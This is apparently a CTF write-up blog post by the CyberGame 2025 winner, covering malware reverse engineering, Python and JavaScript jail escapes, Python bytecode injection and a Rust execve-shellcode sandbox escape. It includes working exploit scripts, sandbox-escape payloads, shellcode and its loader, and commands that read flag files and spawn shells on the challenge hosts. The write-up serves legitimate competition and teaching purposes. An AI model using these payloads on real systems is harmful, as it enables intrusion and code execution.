I took 1st place π₯ in CyberGame 2025, solving 71 out of 73 challenges and claiming 52 First bloods π©Έ along the way.
The game featured a wide variety of categories, including:
Web Exploitation & Binary Exploitation
Forensics
OSINT (Open Source Intelligence)
Cryptography
Malware Analysis & Reverse Engineering
Process and Governance
PyJails _(as part of the JAILE series)
Here are writeups for a few of the challenges I found particularly interesting.
[β β β] The Chronicles of Greg#
SystemUpdate incident report#
Description
Greg didnβt ask for this. Greg wanted a quiet Friday, maybe a donut, and ideally no malware. But no. Instead, Greg found logs weird logs. And when Greg sees weird logs, Greg investigates. This is Gregβs story.
############
Analyst Log β 09:14 AM: “They called it a ’low-priority anomaly.’ Said it was probably nothing. Thatβs what they always
say before things explode”. I ran strings on the file didnβt like what I saw. Not an update. Not even ransomware. Justβ¦
vibes. Binary vibes. Theyβve named it internally βSystemUpdate.β I donβt know why. No update was done. Iβm not even sure
if this is about system update anymore.
############
Solution#
While reverse engineering the system_update binary, I focused on a suspicious subroutine sub_20C0. It stood out due to a sequence of unusual operations applied to a hardcoded array of bytes, suggesting some form of custom encoding or obfuscation logic.
Upon further inspection, I recognized a pattern of reversible transformations involving XORs, subtractions, and negations all acting on a 24-byte sequence. To decode this, I wrote a Python script to emulate the logic statically. The script essentially reverses three types of encoding operations: chr = (key - (encoded_byte ^ 0x5C)) & 0xFF , chr = (- (encoded_byte ^ 0x5C)) & 0xFF and chr = (encoded_byte ^ key) & 0xFF
def solve():
target = [int(x, 16) for x in "F9 FF 8F E0 EA C6 FE 2A CC 9D E6 9A 92 D3 C4 CB 20 E1 DF D7 95 E0 CC 2F".split()]
ops = [
(1, 0xF8), (1, 0xEE), (2, None), (3, 0xA3), (1, 0xFB),
(1, 0xEC), (1, 0xF6), (1, 0xF1), (1, 0xF7), (1, 0xF4),
(1, 0xF1), (1, 0xFD), (3, 0xA3), (1, 0xFD), (3, 0xA3),
(1, 0xF6), (1, 0xEC), (1, 0xF1), (1, 0xFC), (1, 0xF7),
(1, 0xF9), (1, 0xF0), (1, 0xF4), (1, 0xF0)
]
flag = []
for i in range(24):
op, k = ops[i]
t = target[i]
if op == 1:
c = (k - (t ^ 0x5C)) & 0xFF
elif op == 2:
c = (- (t ^ 0x5C)) & 0xFF
elif op == 3:
c = (t ^ k) & 0xFF
flag.append(chr(c))
s = ''.join(flag)
print(s)
# verify
check = []
for i in range(24):
op, k = ops[i]
c = ord(s[i])
if op == 1:
o = ((k - c) & 0xFF) ^ 0x5C
elif op == 2:
o = ((-c) & 0xFF) ^ 0x5C
elif op == 3:
o = c ^ k
check.append(o & 0xFF)
if check == target:
print("ok")
else:
print("fail")
if __name__ == "__main__":
solve()
SK-CERT{g3771ng_p4yl04d}
The Blob Whisperer#
Description
Analyst Log β 12:47 PM: The blob showed up after SystemUpdate did its thing. Just a data. No extension. No metadata. No readme. No hope. The problem? There. Is. No. Key. Iβve tried dictionary attacks, rainbow tables, entropy analysis, even feeding it to a very confused intern. Nothingβ¦ At one point, I shouted my Wi-Fi password at the screen out of raw frustration. Didnβt help, but I felt better for two seconds. I thought I saw a familiar pattern in the entropy graph. Turns out it was just a coffee stain on my monitor. This isnβt just encryption. This is a test of character. And Greg? Greg is not winning.
Solution
When analyzing the system_update binary, I discovered that running it with a parameter causes it to connect to a remote server and transmit that input. If the provided value is incorrect, the server responds with a generic command like COMMAND: apt update.
To uncover the remote endpoint, I first ran strings on the binary, which revealed an embedded IP address. To confirm this and identify the port being used, I used strace, which clearly showed the binary establishing a connection to that address and port during execution.
connect(3, {sa_family=AF_INET, sin_port=htons(7052), sin_addr=inet_addr("195.168.112.4")}, 16) = 0
If the value is the flag SK-CERT{g3771ng_p4yl04d} we got in the first part then it responds by sending an encrypted payload
Function sub_1D20 does the decryption of the payload
__int64 __fastcall sub_1D20(__int64 a1, unsigned int a2)
{
__int64 v2; // r14
unsigned int v3; // eax
__int64 v4; // r14
__int64 v5; // rax
int v6; // ebx
int v7; // ebx
void *v8; // rax
void (*v9)(void); // rax
int v11; // [rsp+Ch] [rbp-105Ch] BYREF
_BYTE v12[16]; // [rsp+10h] [rbp-1058h] BYREF
_BYTE v13[16]; // [rsp+20h] [rbp-1048h] BYREF
_BYTE src[4152]; // [rsp+30h] [rbp-1038h] BYREF
v2 = 0;
v3 = sub_1C30("/lib/x86_64-linux-gnu/libc.so.6");
srand(v3);
do
{
v12[v2] = rand() % 256;
v13[v2++] = rand() % 256;
}
while ( v2 != 16 );
v4 = EVP_CIPHER_CTX_new();
v5 = EVP_aes_128_cbc();
EVP_DecryptInit_ex(v4, v5, 0, v12, v13);
EVP_DecryptUpdate(v4, src, &v11, a1, a2);
v6 = v11;
if ( (int)EVP_DecryptFinal_ex(v4, &src[v11], &v11) <= 0 )
{
EVP_CIPHER_CTX_free(v4);
}
else
{
v7 = v11 + v6;
EVP_CIPHER_CTX_free(v4);
if ( v7 >= 0 )
{
src[v7] = 0;
v8 = mmap(0, (int)a2, 7, 34, -1, 0);
if ( v8 != (void *)-1LL )
{
v9 = (void (*)(void))memcpy(v8, src, v7);
v9();
return 0;
}
perror("mmap");
}
}
return 1;
}
The key used for encryption in the system_update binary is generated using rand(), which is seeded via srand() with a value derived from the major and minor version of the current libc.
During analysis, I noticed that the first 5 bytes of the payload are discarded before encryption. After removing these bytes from the captured payload, I brute-forced potential seeds using a small C script that simulated the encryption process based on different libc versions. This led me to discover that version 2.38 was the correct one used to seed the random number generator.
To retrieve the payload, I saved the encrypted data using:
echo "SK-CERT{g3771ng_p4yl04d}" | nc 195.168.112.4 7052 > payload.bin
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/evp.h>
#include <openssl/aes.h>
unsigned int gen_seed(unsigned int major, unsigned int minor) {
unsigned int val = (major << 16) | (minor << 8) | (major ^ minor);
val = (val ^ (val >> 13)) * 0x5bd1e995;
return val ^ (val >> 15);
}
int decrypt(const char* in_file, const char* out_file, unsigned int seed) {
FILE* f = fopen(in_file, "rb");
if (!f) return -1;
fseek(f, 0, SEEK_END);
long len = ftell(f);
fseek(f, 0, SEEK_SET);
unsigned char* enc = malloc(len);
fread(enc, 1, len, f);
fclose(f);
unsigned char key[16], iv[16];
srand(seed);
for (int i = 0; i < 16; i++) {
key[i] = rand() & 0xFF;
iv[i] = rand() & 0xFF;
}
unsigned char* dec = malloc(len + AES_BLOCK_SIZE);
int l, dec_len;
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_DecryptUpdate(ctx, dec, &l, enc, len);
dec_len = l;
if (EVP_DecryptFinal_ex(ctx, dec + l, &l) > 0) {
dec_len += l;
FILE* out = fopen(out_file, "wb");
if (out) {
fwrite(dec, 1, dec_len, out);
fclose(out);
printf("[+] %s ok\n", out_file);
}
} else {
printf("[-] %s fail\n", out_file);
}
EVP_CIPHER_CTX_free(ctx);
free(enc);
free(dec);
return 0;
}
int main() {
const char* infile = "payload.bin";
char outfile[256];
for (unsigned int major = 2; major <= 2; major++) {
for (unsigned int minor = 21; minor <= 41; minor++) {
unsigned int seed = gen_seed(major, minor);
snprintf(outfile, sizeof(outfile), "%u.%u_deciphered.bin", major, minor);
decrypt(infile, outfile, seed);
}
}
return 0;
}
After decrypting the payload and inspecting it with xxd, I noticed interesting strings like /tmp/s and /bin/s, suggesting that the payload was actually shellcode. To confirm this, I mapped the decrypted payload into memory and executed it. Upon running the shellcode, I observed that it dropped a file into the /tmp directory.
Code to map the decrypted payload into memory
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main() {
FILE *f = fopen("2.38_deciphered.bin", "rb");
if (!f) { perror("open"); return 1; }
fseek(f, 0, SEEK_END);
long sz = ftell(f);
rewind(f);
char *buf = malloc(sz);
if (!buf) { perror("malloc"); fclose(f); return 1; }
if (fread(buf, 1, sz, f) != sz) {
perror("read");
free(buf);
fclose(f);
return 1;
}
fclose(f);
void *mem = mmap(0, sz, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
perror("mmap");
free(buf);
return 1;
}
memcpy(mem, buf, sz);
free(buf);
printf(">> running shellcode...\n");
((void(*)())mem)();
munmap(mem, sz);
return 0;
}
A quick check confirmed that the contents were successfully written into the /tmp directory.
curl http://files.cybergame.sk/systemupdate-2b174d89-564b-4024-acb6-b195f4c81a3c/lib.so#SK-CERT{b1n_p4yl04d_d035_n07_s33m5_l1k3_c0mm4nd5} > /lib_safe/x86_64-linux-gnu/libc.so.6
SK-CERT{b1n_p4yl04d_d035_n07_s33m5_l1k3_c0mm4nd5}
The Shared Object Prophecy#
Description
Analyst Log β 17:23 PM: I followed the execution trail. It ended in the most cursed way imaginable: custom libc Who writes their own libc? What kind of monster wakes up and chooses that? Greg is tired. Greg is afraid. Greg wants his weekend back.
Solution
After retrieving the libc.so file from the previous part of the challenge, the description made it clear this was no ordinary standard library. It was custom and likely hiding something.
I spent hours going in circles, completely lost in its disassembly. I tried diffing it against the original libc, hoping for any meaningful differences. I scanned through dozens of standard functions, chasing false leads.
Eventually, while combing through some of the more commonly hooked libc functions, I landed on _GI___libc_write. Thatβs where things clicked. The function had extra instructions and patterns that resembled encryption logic.
I wrote a script to reverse the transformations applied in that function and it paid off.
Sometimes, the best hiding place is right where you expect things to be “normal.”
def s1(buf):
if len(buf) != 29:
raise ValueError("s1: bad len")
out = bytearray(29)
for i in range(29):
x = buf[i] ^ i
x = ~x & 0xFF
x = (x - i) & 0xFF
x = (x ^ i) & 0xFF
x = (x + i) & 0xFF
x = ((x << 3) | (x >> 5)) & 0xFF
x = (-((x + i) & 0xFF) ^ i) & 0xFF
x = (x - i) & 0xFF
x = (x ^ i) & 0xFF
t = ((x - 0x7F) ^ 0x74) & 0xFF
out[i] = (i - t) & 0xFF
return out
def s2(buf):
if len(buf) != 14:
raise ValueError("s2: bad len")
out = bytearray(14)
for i in range(14):
x = buf[i]
x = (x + i) & 0xFF
x = (x ^ i) & 0xFF
x = (x + 99) & 0xFF
x = (x ^ i) & 0xFF
x = (x + 0x78) & 0xFF
x = (x ^ 0x7F) & 0xFF
x = (x + i) & 0xFF
x = (-x) & 0xFF
x = (x ^ 0xE0) & 0xFF
x = ((x << 1) | (x >> 7)) & 0xFF
term1 = (x ^ i) & 0xFF
term2 = (0x2C - i) & 0xFF
out[i] = (term1 + term2) & 0xFF
return out
def main():
s = bytes([
0xea, 0x06, 0xe0, 0x44, 0x23, 0x20, 0x96, 0xcc,
0x1e, 0xae, 0x64, 0xe3, 0x00, 0x09, 0xeb, 0x27,
0xd5, 0xd7, 0xac, 0x81, 0xea, 0xd5, 0x5e, 0xdf,
0x5a, 0xae, 0x2c, 0x14, 0xfc
])
s2_buf = bytes([
0x06, 0x09, 0x0c, 0x85, 0x12, 0x8f, 0x82, 0x81,
0x16, 0x15, 0x91, 0x85, 0x90, 0x3c
])
t1 = s1(s)
print("s1:", t1.hex())
try:
print("s1_ascii:", t1.decode(errors='replace'))
except Exception as e:
print("s1 decode error:", e)
print("-" * 30)
t2 = s2(s2_buf)
print("s2:", t2.hex())
try:
s2_ascii = t2.split(b'\x00', 1)[0].decode(errors='replace')
print("s2_ascii:", s2_ascii)
except Exception as e:
print("s2 decode error:", e)
if __name__ == "__main__":
main()
SK-CERT{br1n6_y0ur_0wn_l1bc}
JAILE2#
Calculator v2#
Description
A new version of The Calculator came out! Can you check if itβs secure?
exp.cybergame.sk:7011
Challenge
import math
def handle_client():
print(
"Welcome to the Calculator v2!\nWith improved security so you can have access to all the fun math stuff and the bad guys cannot do the bad stuff! Enjoy :D"
)
# We added this to prevent the user from calling dangerous functions
safe_globals = {
"__builtins__": {
"sin": math.sin,
"cos": math.cos,
"tan": math.tan,
"asin": math.asin,
"acos": math.acos,
"atan": math.atan,
"sqrt": math.sqrt,
"pow": math.pow,
"abs": abs,
"round": round,
"min": min,
"max": max,
"sum": sum,
}
}
text = ""
while text != "exit":
text = input(">>> ")
# In all ctf writeups they use _ or its unicode equivalent to somehow escape the jail. No _ means no fun for them
for character in ["_", "οΌΏ"]:
if character in text.lower():
print("Not allowed, killing\n")
text = "lol"
try:
print(eval(text, safe_globals))
except Exception as e:
print("Error: " + str(e) + "\n")
def main():
handle_client()
if __name__ == "__main__":
main()
Solution
The challenge was basically a Python sandbox, but with a twist. It uses eval() to evaluate user input, but it wraps it in a restricted safe_globals dict that only exposes a few safe functions mostly math stuff like sin, cos, sqrt, abs, round, and so on. No access to eval, exec, open, or even __builtins__ directly.
But the real kicker is this it blocks any use of the underscore character (_) even the full-width Unicode one (οΌΏ). And if youβve done any Python sandbox stuff before, you know thatβs brutal. All the classic tricks rely on double underscores: __class__, __subclasses__, __globals__, etc. So with _ banned, all the usual escape routes are cut off.
So whatever payload youβre building has to work without typing _ at all. Thatβs what makes this challenge spicy you have to find clever ways to build those dunders without ever writing them directly.
Dealing with _ Restrictions via Unicode Normalization#
One of the main restrictions in this challenge is that you cannot use the underscore character (_) directly nor its full-width Unicode equivalent (οΌΏ). This is enforced by checking the user input string and terminating if any variant appears. However, Python internally normalizes many Unicode characters under the hood, and we can take advantage of this using NFKC normalization
To find all Unicode characters that normalize to _ I ran this simple script:
import unicodedata
for x in range(65537):
if unicodedata.normalize("NFKC", chr(x)) == "_":
print(x, chr(x))
This helps identify characters that look different but will be interpreted as _ internally by Python once normalized.
Frame Walking Without _#
With _ completely off the table, I needed a way to access powerful objects like __import__, but without writing any underscores at all.
The trick was to use generator introspection to access Pythonβs internal frames. From there, you can walk up the call stack and eventually reach the built-in namespace. Here’s the payload I crafted:
[y := [],
y.extend([(x.giοΈ΄frame.fοΈ΄back.fοΈ΄back for x in y)]),
[x for x in y[0]][0].fοΈ΄builtins['\x5f\x5fimport\x5f\x5f']('os').popen('cat /flag*').read()]
A breakdown:
y := []initializes an empty listI use a generator expression to capture frames:
x.giοΈ΄frame.fοΈ΄back.fοΈ΄backThe character
οΈ΄(U+FE34) is not technically an underscore, but under Unicode normalization (NFKC), Python interprets it as one.Then I access
fοΈ΄builtinsand use a hex escape:'\x5f\x5fimport\x5f\x5f'to call__import__without triggering the input filter.The rest is a standard file read using
os.popen.
This works because the generator’s gi_frame gives you access to the current frame object, and walking f_back lets you move up the stack. Once you reach the top, you can access the global __builtins__ object and import anything you want
SK-CERT{wh0_w0uld_h4v3_th0ght_y0u_c4n_3sc4pe_w1th0ut__}
Tasty Bun#
Description
The Tasty Bun bakery asked us for a pentest. Can you find a vulnerability in their baking software?
#!/usr/bin/env bun
const net = require("net");
const bake = async (ingredients) => {
return await eval(ingredients);
};
const hasValidIngredients = (recipe) => {
const FORBIDDEN_INGREDIENTS = /[()\/\[\];"'_!]/;
if (FORBIDDEN_INGREDIENTS.test(recipe)) {
console.error("π₯ These ingredients will spoil our bun!");
return false;
}
const flavors = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
const tasteProfile = [];
for (let i = 0; i < recipe.length; i++) {
const ingredient = recipe[i];
if (flavors.includes(ingredient) && !tasteProfile.includes(ingredient)) {
tasteProfile.push(ingredient);
}
}
if (tasteProfile.length > 2) {
console.error(
"π Too many flavors will ruin the bun! Found " + tasteProfile.length
);
return false;
}
return true;
};
const bakery = net.createServer((customer) => {
console.log("π₯ A hungry customer has arrived at the bakery!");
customer.write("tasty-bun> ");
customer.on("data", async (order) => {
try {
const recipe = order.toString().trim();
if (recipe === "exit") {
customer.write("π₯― Thank you for visiting our bakery! Goodbye!\n");
customer.end();
return;
}
if (!hasValidIngredients(recipe)) {
customer.write("π© Sorry, we can't bake with these ingredients!\n");
customer.write("tasty-bun> ");
return;
}
const bakedBun = await bake(recipe);
customer.write(bakedBun + "\n");
} catch (e) {
console.error("Error during baking:", e);
customer.write("π₯ Oops! The bun fell flat: " + e.toString() + "\n");
}
customer.write("tasty-bun> ");
});
customer.on("error", (err) => {
console.error("Socket error:", err);
customer.write("π₯― A socket error occurred, but we're still open!\n");
customer.write("tasty-bun> ");
});
customer.on("end", () => {
console.log("π₯¨ A customer has left our bakery");
});
});
process.on("unhandledRejection", (reason, promise) => {
console.error("Unhandled Rejection at:", promise, "reason:", reason);
});
process.on("uncaughtException", (err) => {
console.error("Unhandled exception caught:", err);
});
const displayBakeryBanner = () => {
console.log(`
ππ₯π₯π₯―π©π₯¨ "The Tasty Bun" Bakery π₯¨π©π₯―π₯π₯π
Welcome to our special bun shop!
We are very particular about our ingredients...
`);
};
displayBakeryBanner();
bakery.listen(2337, () => {
console.log("π Bakery now open on port 2337! Come get your tasty buns!");
});
Solution
At first glance, this challenge seems like a simple JavaScript sandbox running on the Bun runtime. But very quickly, the core limitation becomes clear:
You’re only allowed to use 2 unique letters per line.
That means any line you send to the server must contain at most two different alphabetical characters. You can repeat them as much as you want, but a third unique letter will instantly get your input rejected.
On top of that, several critical characters are completely banned:() / [ ] ; " ' _ !
These restrictions stop you from doing just about everything you’d normally try in a JavaScript eval() challenge:
β
()β No function calls. You can’t invoke anything directly.β
[]β No arrays or property access by string key (e.g.,obj["key"]).β
;β No statement separators.β
'or"β No strings at all.β
/β No regular expressions, and also no division.β
_β No access to special objects like__proto__,__defineGetter__, orglobalThis.β
!β No use of logical negation or tricks like![].
Essentially, this removes most of the language features you’d typically abuse in a sandbox escape: you canβt use strings, arrays, object keys, or even call functions the usual way.
So the challenge becomes: How can we coerce or manipulate whatβs left just numbers, operators, and two letters to eventually execute something useful?
Despite all the restrictions, the key weakness lies in how the server handles input: it uses eval() on the userβs input, but only after first checking if the input passes a regex match using test().
This is our entry point. If we can pollute the prototype of RegExp and replace the test method with eval, then the next time the server tries to check our input using regex, it will actually end up evaluating it as JavaScript code without any restrictions.
In JavaScript, prototype pollution lets you overwrite properties shared across all objects of a certain type. Here, we exploit that to overwrite RegExp.prototype.test.
from pwn import *
import re
FLAG_RE = re.compile(r"flag.+\.txt")
def e(s):
r = ""
for x in s:
r += "\\u00" + hex(ord(x))[2:].zfill(2)
return r
# r = remote("localhost", 2337)
r = remote("exp.cybergame.sk",7012)
encoded_regexp = e("RegExp")
encoded_proto = e("__proto__")
encoded_test = e("test")
encoded_eval = e("eval")
get_flag_file_payload = """
res = process.mainModule.require("child_process").spawnSync("ls", [".."]).stdout.toString();throw new Error(res);
""".strip()
r.sendlineafter(b"> ", f"$={encoded_regexp}``".encode())
r.sendlineafter(b"> ", f"$$={encoded_eval}".encode())
r.sendlineafter(b"> ", f"$.{encoded_proto}.{encoded_test}=$$")
r.sendlineafter(b"> ", get_flag_file_payload)
r.recvuntil(b"Error: ")
files = r.recvuntil(b"tasty-bun", True).decode()
flag_path = FLAG_RE.search(files).group(0)
print_flag_file_payload = f"""
res = process.mainModule.require("child_process").spawnSync("cat", ["../{flag_path}"]).stdout.toString();throw new Error(res);
"""
r.sendline(print_flag_file_payload)
print(r.recvuntil(b"tasty-bun").decode())
r.interactive()
SK-CERT{\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0066\u0075\u006E}
dictFS#
Description
The admin of this application supposedly implemented a backdoor. Can you find it?
Recover the root password#
After poking around the file system for a while and exploring different objects exposed through directory traversal, I discovered a path that led straight into the internals of the Python runtime.
By navigating through /mnt, I found what appeared to be a dictionary like object that gave access to a chain of attributes and internal references. Following this path:
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__
I eventually landed on the __code__ object of the DirShell classβs __init__ method a goldmine in terms of introspection.
From there, I dumped the constant pool of the bytecode using:
cat co_consts
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__$> cat co_consts
(None, 'ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββ βββββββ ββββββββββββββ \nβββββββββββββββββββββββββββββββββ βββββββ βββββββ βββββββ βββββββββββββββββββββββ ββββββββββββββ \nββββββββββββββββββββββββββ βββββββ βββββββ βββββββ ββββββββββββ βββββββ ββββββββββββββ \nββββββββββββββββββββββββββ βββββββ ββββββββββββ ββββββββββββ ββββββββββββ βββββββ ββββββββββββββ \nββββββββββββββββββββββββββ βββββββ βββββββ βββββββ ββββββββββ βββββββ ββββββββββββββ \nβββββββββββββββββββββββββββββββββ βββββββ βββββββ βββββββ ββββββββββ βββββββββββββββββββββββββββ \nββββββββββββββββββββββββββββββββ βββββββ βββββββ βββββββββββββ ββββββββ βββββββββββββββββββββββββββ \n \n ', 'Welcome to our completely custom filesystem! you can use the following commands in our in-house built DirShellβ’:', 'ls - list files and directories', 'cd <dir> - change directory', 'cat <file> - print file contents', 'pwd - print current directory', 'touch <file> - create/rewrite a file (root only) - if the filename starts with @ it is read-only [beta]', 'mkdir <dir> - create a directory (root only) [beta]', 'rewrite <file> - rewrite a file with hex characters (root only) - bypasses read-only @ prefix. USE WITH CAUTION [beta]', 'su - switch to root user (secret password required)', 'exit - exit the shell', '\n\n', 'The filesystem is read-only for non-root users but we are experimenting with write capabilities in our current beta version', 'mnt.json', 'r', 'I am a test content of a.txt', 'HELLO WORLD', 'Lorem ipsum dolor sit amet', 'aa.txt', 'aaaaaaaa', ('a.txt', 'b.txt', 'c.txt', 'x', 'mnt', 'z'), False, '__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^')
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__
__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^
Gaining Root Shell via Bytecode Injection#
After successfully retrieving the root password by navigating deep into Pythonβs object model (as explained earlier), I gained access to the su command. This unlocked the ability to rewrite methods within the application a powerful privilege.
The plan was to hijack the touch command, whose implementation lives in:
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/touch/__code__`
Python Bytecode Injection#
The key to the exploit was rewriting the co_code of the touch method with custom Python bytecode, allowing us to hijack its behavior.
My payload built a new co_code byte sequence that:
Loaded the
__builtins__dict using a craftedLOAD_FASToffset.Accessed
__builtins__["exec"].Executed
exec(input(...))to get full code execution.
However, since the locals layout was unknown, and LOAD_FAST uses an index, I had to brute-force the right index (x) to find the one pointing to __builtins__.
Hereβs a snippet from the brute-force harness:
OOB = b''.join([bytes([x]) for x in [ *([opmap['EXTENDED_ARG'], x // 256] if x // 256 != 0 else []), opmap['LOAD_FAST'], x % 256, ]])`
import dis
from opcode import opmap
from pwn import *
def rec_cd(path):
for x in path.split("/"):
r.sendlineafter(b"> ", f"cd {x}")
def assemble(ops):
ret = b""
for op, arg in ops:
opc = dis.opmap[op]
ret += bytes([opc, arg])
return ret
ROOT_PASSWORD = "__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^"
x = 202
while True:
try:
print(f"Trying {x}")
# r = process(["python3", "dirshell.py"])
r = remote("exp.cybergame.sk", 7001)
# rec_cd("/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__")
r.sendlineafter(b"> ", "su")
r.sendlineafter(b"> ", ROOT_PASSWORD)
rec_cd("/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/touch/__code__")
# x = 265
OOB = b''.join([bytes([x]) for x in [
*([opmap['EXTENDED_ARG'], x // 256]
if x // 256 != 0 else []),
opmap['LOAD_FAST'], x % 256,
]])
co_code = OOB + assemble([
("LOAD_FAST", 2),
("BINARY_SUBSCR", 0),
("LOAD_FAST", 1),
]) + OOB + assemble([
("CALL_FUNCTION", 2),
("RETURN_VALUE", 0),
])
# print(co_code)
# 265 EXEC
r.sendlineafter(b"> ", "rewrite co_code")
r.sendlineafter(b"> ", co_code.hex())
rec_cd("/.."*17)
r.sendlineafter(b"> ", b"""touch exec(input('READYREADYREADY\\n'))""")
r.sendline(b"exec")
r.recvuntil(b"file contents: ")
da = r.recvline(timeout=0.5).strip()
print(da)
if da == b"READYREADYREADY":
print("GO FLAG GOGHGOGHGOGHGO", x)
r.sendline(b"import pty;pty.spawn('/bin/sh')")
r.interactive()
except Exception as e:
print(e)
pass
r.close()
I assembled the final bytecode using Python’s built-in dis.opmap, creating valid instructions for Python 3.9 β which was crucial, since the remote system used that specific version.
Once the injected function was in place, I navigated back to root and triggered it by running:
touch exec(input('READYREADYREADY\n'))
If the injection worked, the output was simply: READYREADYREADY
This was my signal that exec() had been successfully injected. From there, I just launched a PTY shell:
import pty; pty.spawn('/bin/sh')`
And that was game over. π
SK-CERT{\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0066\u0075\u006E}
Blazing-fast, memory-safe interpreter#
Description
I made a Rust code interpreter where you can run your rust code. I made it very safe so you donβt hack me.
import subprocess
HEADER = """
#![no_std]
#![no_main]
use core::panic::PanicInfo;
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
loop {}
}
#[unsafe(no_mangle)]
pub extern "C" fn _start() -> () {
"""
FOOTER = """
}
"""
def checker(code):
if code.count("!") > 1:
return 0
if "libc" in code:
return 0
if "std" in code:
return 0
if "flag" in code:
return 0
if "syscall" in code:
return 0
if "include" in code:
return 0
return 1
code = input("Give me code> ")
if not checker(code):
print("Go away you hacker")
exit()
with open("./src/main.rs", "w") as f:
f.write(HEADER)
f.write(code)
f.write(FOOTER)
print("Building - this may take a while...",end="")
out = subprocess.run(
["cargo", "build", "--target", "x86_64-unknown-none"],
capture_output=True,
text=True
)
if out.returncode:
print("failed - exit")
exit()
print("done")
print("Running...")
subprocess.run(["cargo", "run", "--target", "x86_64-unknown-none"])
Solution
This challenge gave us a sandboxed Rust runtime with a constrained custom main.rs environment.
After researching Rustβs inline assembly and raw x86-64 opcodes, I discovered that we could manually emit syscall using the raw instruction bytes:
.byte 0x0F, 0x05 ; syscall
Combined with core::arch::asm, we could construct the entire RCE payload manually without relying on filtered terms.
Hereβs the payload that spawns /bin/sh via syscall 59 (execve):
use core::arch::asm;
unsafe {
asm!(
"xor rsi, rsi", // NULL argv
"push rsi",
"mov rbx, 0x68732f2f6e69622f", // //bin/sh
"push rbx",
"mov rdi, rsp", // pointer to "/bin//sh"
"xor rdx, rdx", // NULL envp
"mov rax, 59", // syscall: execve
".byte 0x0F, 0x05", // syscall
options(noreturn)
);
}
The build system only accepted single-line input, and multi-line asm! blocks were error-prone when passed via input().
So I collapsed the code into a single line:
use core::arch::asm;unsafe{asm!("xor rsi,rsi;push rsi;mov rbx,0x68732f2f6e69622f;push rbx;mov rdi,rsp;xor rdx,rdx;mov rax,59;.byte 0x0F,0x05",options(noreturn));}
This successfully compiled under cargo build --target x86_64-unknown-none, bypassed the checks, and gave me a shell from _start()!
nc exp.cybergame.sk 7010
Give me code> use core::arch::asm;unsafe{asm!("xor rsi,rsi;push rsi;mov rbx,0x68732f2f6e69622f;push rbx;mov rdi,rsp;xor rdx,rdx;mov rax,59;.byte 0x0F,0x05",options(noreturn));}
Building - this may take a while...done
Running...
id
uid=0(root) gid=0(root) groups=0(root)
cat flag.txt
SK-CERT{v3ry_600d_p3rf0rm4nc3}